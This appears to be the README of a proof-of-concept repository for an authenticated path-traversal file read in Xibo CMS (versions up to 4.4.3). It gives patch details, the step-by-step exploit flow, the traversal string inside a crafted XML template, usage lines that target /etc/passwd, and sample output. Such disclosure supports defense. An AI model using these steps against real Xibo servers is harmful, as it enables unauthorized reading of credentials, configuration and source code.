CVE-2026-77578 — Xibo CMS Arbitrary Local File Read

Overview

CVE-2026-77578 is an authenticated Arbitrary Local File Read vulnerability in Xibo CMS.

An authenticated user with Admin privileges or Module Templates access can import a crafted XML template containing a path-based asset with a traversal sequence. The resulting asset can then be accessed through the module asset endpoint, causing Xibo to return the contents of the referenced local file.

Affected and Patched Versions

• Affected: Xibo CMS <= 4.4.3
• Patched: Xibo CMS >= 4.4.4
• Recommended remediation: Upgrade to Xibo CMS 4.4.4 or later.

Vulnerability Details

• CVE: CVE-2026-77578
• GHSA: GHSA-pc3g-2hhm-46qc
• Vulnerability Type: CWE-22 — Path Traversal
• Authentication: Required
• Required privilege: Access to the Developer Template feature
• Severity: High
• CVSS v3.1: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
• Impact: Read files accessible to the web-server user

Proof of Concept

Official Xibo Advisory

Xibo published the vulnerability as GHSA-pc3g-2hhm-46qc, confirming that versions <= 4.4.3 are affected and >= 4.4.4 are patched. The advisory assigns High severity with a CVSS v3.1 score of 8.8 and identifies CVE-2026-77578.

The provided Python PoC automates the exploitation process:

1. Authenticates to Xibo CMS.
2. Retrieves the CSRF token from the Module Templates page.
3. Generates a unique asset identifier.
4. Uploads a crafted XML template through /developer/template/import.
5. The XML contains a path-based asset using a relative path traversal sequence.
6. Requests the resulting asset through /module/asset/<asset-id>.
7. Displays the contents of the requested local file.

Usage

python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>

Example:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/passwd

Another example:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/os-release

The -f option defaults to /etc/passwd.

Example Output

The following demonstrates successful retrieval of /etc/passwd:

==============================================
 FILE CONTENT
==============================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Technical Flow

Authenticated User
        |
        v
GET /developer/template/view
        |
        v
Extract X-XSRF-TOKEN
        |
        v
POST /developer/template/import
        |
        |  Crafted XML
        |  path="../../../../../etc/passwd"
        v
Xibo creates the asset
        |
        v
GET /module/asset/<asset-id>
        |
        v
Contents of local file returned

Validation

The vulnerability was successfully validated against multiple files in a local Xibo CMS 4.4.3 test environment, including:

• /etc/passwd
• /etc/hosts
• /etc/os-release
• /var/www/cms/web/index.php

The PHP source file test demonstrates that the issue is capable of returning application source code, not merely system metadata.

Impact

Successful exploitation allows an authenticated attacker with the required Module Templates privileges to read arbitrary files accessible to the Xibo application process.

Depending on the deployment, this may expose:

• Application source code
• Configuration files
• Credentials
• API keys
• Database connection information
• Other sensitive filesystem data

Disclaimer

This proof of concept is provided for authorized security research and defensive testing purposes only.

Only test systems that you own or have explicit permission to assess.

Repository Structure

CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
    └── poc-output.png